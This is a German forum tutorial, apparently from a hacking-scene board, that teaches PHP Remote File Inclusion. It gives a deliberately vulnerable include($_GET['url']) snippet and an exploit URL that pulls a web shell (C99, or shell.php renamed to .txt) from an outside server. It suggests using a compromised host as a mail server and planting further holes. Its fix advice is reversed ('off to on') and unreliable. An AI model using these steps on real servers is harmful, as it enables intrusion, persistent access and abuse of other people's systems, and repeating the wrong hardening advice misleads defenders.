Ich habe heute extra für ScenecoderZ mal ein Tutorial geschrieben damit auch weniger erfahrene Member mal einen Einblick in die Sache bekommen.
Ich habe es hier allerdings eher in eine Description umgewandelt, damit es als Hilfssticky diehnen kann.
##############################################
WAS IST RFI und WAS KANN MAN MACHEN
##############################################
Willkommen zu meinem Tutorial über RFI oder auch Remote File Inclusion.
RFIs sind leicht auszunutzende Sicherheitslücken in PHP-Dateien.
Man kann durch inludieren eigener Scripte bzw. Dateien leicht administrative
Rechte erlangen.
Meistens geschieht das über den GET-Parameter. Remote hei�t es deshalb, da
der Code bzw. die Shell nicht erst auf den Server geladen oder in eine Datei geschrieben
werden muss, wie bei einer LFI, sondern direkt von einem anderen Platz aus eingebunden
werden kann.
Meistens werden simple Administration-shells benutzt wie die C99.php, da einem da
so ziemlich alle Wege offen stehen.
So kann aus einem Root schnell mal ein eigener Mailserver werden oder man
erstellt neue Lücken, falls die eine entdeckt wird.
Das als kleine Erklärung.
###############################################
Doch wie findet man so eine Lücke, bzw. wie entsteht sie.
Das ist relativ einfach, bei PHP gibt es folgende Konfiguration die es erlaubt
eine fremde URL zu öffnen. Diese ist:
allow_url_fopen
sie sollte bei einer RFI auf = on stehen, das kann man testen, wie das geht erkläre
ich bei Anwenden.
Seit PHP 5 gibt es desweitere die Einstellung:
allow_url_include = on/off
Damit habe ich auch schon erklärt, wie ihr die Lücken auf einer Seite wieder schlie�t.
off to on ändern.
Desweiteren gehen wir mal näher auf PHP ein. Die Befehle:
include und require sowie
include_once und require_once
benutzt man zum einbinden von zusätzlichen Dateien in das laufende Script.
Werden jetzt die Eingaben nicht geprüft, kann der Benutzer Code ausführen, bei
einer RFI sogar von fremdem Webserver aus.
Schauen wir uns folgenden einfachen Code an:
<?php
include($_GET['url']);
?>
Wenn wir jetzt unsere PHP-Datei erstellen, sehen wir, dass mit dem GET-Parameter
?url= etwas eingebunden werden kann, da die Eingaben nicht überprüft werden.
Wie das geht lest ihr unten.
###############################################
So wie wende ich so eine Lücke jetzt an?
Wir haben also unsere Datei test.php, die oben stehenden Code beinhaltet.
Wir laden das Script auf unseren Server, und binden google.de ein.
seitemitlückeodermeinenserver.de/test.php?url=http://google.de
Jetzt sollte Google angezeigt werden, ist das möglich können wir auch unsere Shell einbinden.
seitemitlückeodermeineseite.de/test.php?url=http://servermitshelldrauf.de/shell.php?
Da öfters .php automatisch gesetzt wird, ändern wir falls es nicht klappt einfach shell.php in
shell.txt und schon haben wir die Shell eingebunden und können Modifikationen vornehmen.
Auf die einzelnen Shells gehe ich jetzt nicht ein, das könnt ihr selber entscheiden.
################################################